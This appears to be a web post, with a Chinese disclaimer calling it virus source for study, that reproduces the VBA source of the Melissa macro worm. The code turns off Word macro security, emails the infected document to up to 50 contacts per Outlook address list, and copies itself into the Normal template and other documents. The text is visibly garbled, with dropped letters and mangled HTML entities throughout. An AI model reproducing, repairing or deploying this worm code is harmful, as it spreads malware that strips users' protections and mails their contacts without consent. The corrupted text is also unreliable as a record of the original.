以下为病毒源程序,请勿非法传播,否则后果自负,谨供技术参考学习。
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString(" quot;, "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") < gt; " quot; Then
CommandBars("Macro").Controls(" ecurity...").Enabled = False
System.PrivateProfileString(" quot;, "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&am
Else
CommandBars("Tool quot;).Controls("Macro").Enabled = False
Optio .ConfirmConversio = (1 - 1): Optio .Viru rotection = (1 - 1): Optio .SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.A licatio quot;)
Set DasMapiName = UngaDasOutlook.GetName ace("MAPI")
If System.PrivateProfileString(" quot;, "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Meli a?") < gt; "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon " rofile", " a word"
For y = 1 To DasMapiName.Addre Lists.Count
Set AddyBook = DasMapiName.Addre Lists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.Addre Entries.Count
Peep = AddyBook.Addre Entries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.Addre Entries.Count
Next oo
BreakUmOffASlice.Subject = "Important Me age From " &am A lication.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don‘t show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = " quot;
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString(" quot;, "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Meli a?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.V roject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.V roject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name < gt; "Meli a" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Meli a"
DoAD = True
End If
If NTI1.Name < gt; "Meli a" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Meli a"
DoNT = True
End If
If DoNT < gt; True And DoAD < gt; True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = " quot;
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (" rivate Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) < gt; " quot;
ToInfect.CodeModule.I ertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = " quot;
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString (" rivate Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) < gt; " quot;
ToInfect.CodeModule.I ertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL < gt; 0 And ADCL = 0 And (I tr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (I tr(1, ActiveDocument.Name, "Document") < gt; False) Then
ActiveDocument.Saved = True
End If
‘WORD/Meli a written by Kwyjibo
‘Works in both Word 2000 and Word 97
‘Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
‘Word -> Email | Word 97 <--> Word 2000 ... it‘s a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game‘s over. I‘m outta here."
End Sub


